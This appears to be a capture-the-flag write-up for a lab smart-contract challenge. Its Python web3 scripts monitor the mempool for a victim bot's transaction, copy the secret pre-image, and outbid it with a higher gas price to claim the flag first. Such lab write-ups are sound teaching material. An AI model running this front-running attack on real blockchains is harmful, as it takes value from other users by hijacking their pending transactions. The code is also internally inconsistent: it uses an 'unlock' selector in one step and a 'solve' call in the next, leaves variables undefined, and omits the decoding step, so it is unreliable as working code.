Front_Running

Published: March 20, 2026

Description

A mysterious vault has been discovered on the blockchain. It's programmed to release a secret flag to anyone who can provide the correct pre-image to a specific hash. A Victim Bot has found the answer and is trying to submit it, but they are being very stingy with their gas price. Contract: here

Download and read FrontRunning.sol.

Set up a Foundry or web3.py environment.

cat FrontRunning.sol

Solution

  1. Step 1Monitor the mempool for the victim's transaction
    The Victim Bot submits the correct pre-image with a low gas price. Watch the pending transaction pool for this transaction to extract the pre-image value before it's mined.
    python3 << 'EOF' from web3 import Web3 w3 = Web3(Web3.HTTPProvider("http://<HOST>:<PORT_FROM_INSTANCE>")) CONTRACT_ADDR = "<CONTRACT_ADDRESS>" # The unlock function selector: keccak256("unlock(string)")[:4] = 0x7e4ac72a UNLOCK_SELECTOR = "0x7e4ac72a" # Watch pending transactions for the victim bot's call pending_filter = w3.eth.filter("pending") while True: for tx_hash in pending_filter.get_new_entries(): tx = w3.eth.get_transaction(tx_hash) if tx and tx["to"] and tx["to"].lower() == CONTRACT_ADDR.lower(): calldata = tx["input"].hex() if calldata.startswith(UNLOCK_SELECTOR[2:]): # ABI-decode the password from calldata bytes after the selector print("Found victim tx, calldata:", calldata) # Decode the string argument (starts at byte 4, ABI-encoded) break EOF
  2. Step 2Front-run with a higher gas price
    Extract the pre-image from the victim's pending transaction, then submit your own transaction with the same pre-image but a higher gas price so it gets mined first.
    python3 << 'EOF' from web3 import Web3 from eth_account import Account w3 = Web3(Web3.HTTPProvider("http://HOST:PORT")) acct = Account.from_key("YOUR_PRIVATE_KEY") pre_image = "EXTRACTED_PREIMAGE" tx = { "to": CONTRACT_ADDR, "data": w3.eth.contract(abi=ABI).encode_abi("solve", [pre_image]), "gas": 200000, "gasPrice": w3.to_wei(100, "gwei"), # higher than victim "nonce": w3.eth.get_transaction_count(acct.address), } signed = acct.sign_transaction(tx) w3.eth.send_raw_transaction(signed.rawTransaction) EOF
  3. Step 3Read the flag
    After your transaction is mined before the victim's, call the contract's getFlag() function to retrieve the flag.
    cast call CONTRACT_ADDR 'getFlag()(string)' --rpc-url http://HOST:PORT

Flag

picoCTF{fr0nt_runn1ng_...}

Monitor the mempool for the victim's low-gas transaction, extract the pre-image, and resubmit with higher gas to get mined first.